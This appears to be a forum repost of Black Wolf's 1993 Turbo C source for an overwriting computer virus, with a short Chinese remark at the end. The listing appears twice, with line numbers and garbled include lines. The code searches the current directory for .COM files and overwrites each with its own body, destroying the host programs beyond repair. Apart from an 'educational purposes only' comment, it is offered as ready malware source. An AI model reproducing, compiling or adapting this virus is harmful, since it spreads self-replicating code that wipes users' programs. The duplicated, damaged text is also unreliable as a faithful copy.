copy from 黑基
1- - ------------------ Cut Here -------------------------- - -
2 /* This is a simple overwriting virus programmed in Turbo C */
3 /* It will infect all .COM files in the current directory */
4 /* Infections destroy the programs and cannot be cured */
5 /* It was presented in Virology 101 (c) 1993 Black Wolf */
6 /* FOR EDUCATIONAL PURPOSES ONLY, DO NOT RELEASE! */
7 #include
8 #include
9 #include
10 FILE *Virus,*Host;
11 int x,y,done;
12 char buff[256];
13 struct ffblk ffblk;
14 main()
15 {
16 done = findfirst("*.COM",&ffblk,0); /* Find a .COM file */
17 while (!done) /* Loop for all COM's in DIR*/
18 {
19 printf("Infecting %s\n", ffblk.ff_name); /* Inform user */
20 Virus=fopen(_argv[0],"rb"); /* Open infected file */
21 Host=fopen(ffblk.ff_name,"rb+"); /* Open new host file */
22 x=9504; /* Virus size - must */
23 /* be correct for the */
24 /* compiler it is made */
25 /* on, otherwise the */
26 /* entire virus may not*/
27 /* be copied!! */
28 while (x>256) /* OVERWRITE new Host */
29 { /* Read/Write 256 byte */
30 fread(buff,256,1,Virus); /* chunks until bytes */
31 fwrite(buff,256,1,Host); /* left < 256 */
32 x-=256;
33 }
34 fread(buff,x,1,Virus); /* Finish off copy */
35 fwrite(buff,x,1,Host);
36 fcloseall(); /* Close both files and*/
37 done = findnext(&ffblk); /* go for another one. */
38 }
39 /* Activation would go */
40 /* here */
41 return (0); /* Terminate */
42 }
43 - - ------------------ Cut Here --------------------------- - -
44
2 /* This is a simple overwriting virus programmed in Turbo C */
3 /* It will infect all .COM files in the current directory */
4 /* Infections destroy the programs and cannot be cured */
5 /* It was presented in Virology 101 (c) 1993 Black Wolf */
6 /* FOR EDUCATIONAL PURPOSES ONLY, DO NOT RELEASE! */
7 #include
8 #include
9 #include
10 FILE *Virus,*Host;
11 int x,y,done;
12 char buff[256];
13 struct ffblk ffblk;
14 main()
15 {
16 done = findfirst("*.COM",&ffblk,0); /* Find a .COM file */
17 while (!done) /* Loop for all COM's in DIR*/
18 {
19 printf("Infecting %s\n", ffblk.ff_name); /* Inform user */
20 Virus=fopen(_argv[0],"rb"); /* Open infected file */
21 Host=fopen(ffblk.ff_name,"rb+"); /* Open new host file */
22 x=9504; /* Virus size - must */
23 /* be correct for the */
24 /* compiler it is made */
25 /* on, otherwise the */
26 /* entire virus may not*/
27 /* be copied!! */
28 while (x>256) /* OVERWRITE new Host */
29 { /* Read/Write 256 byte */
30 fread(buff,256,1,Virus); /* chunks until bytes */
31 fwrite(buff,256,1,Host); /* left < 256 */
32 x-=256;
33 }
34 fread(buff,x,1,Virus); /* Finish off copy */
35 fwrite(buff,x,1,Host);
36 fcloseall(); /* Close both files and*/
37 done = findnext(&ffblk); /* go for another one. */
38 }
39 /* Activation would go */
40 /* here */
41 return (0); /* Terminate */
42 }
43 - - ------------------ Cut Here --------------------------- - -
44
此程序并没有提供一些函数的详细实现,但是大意非常清楚.
Code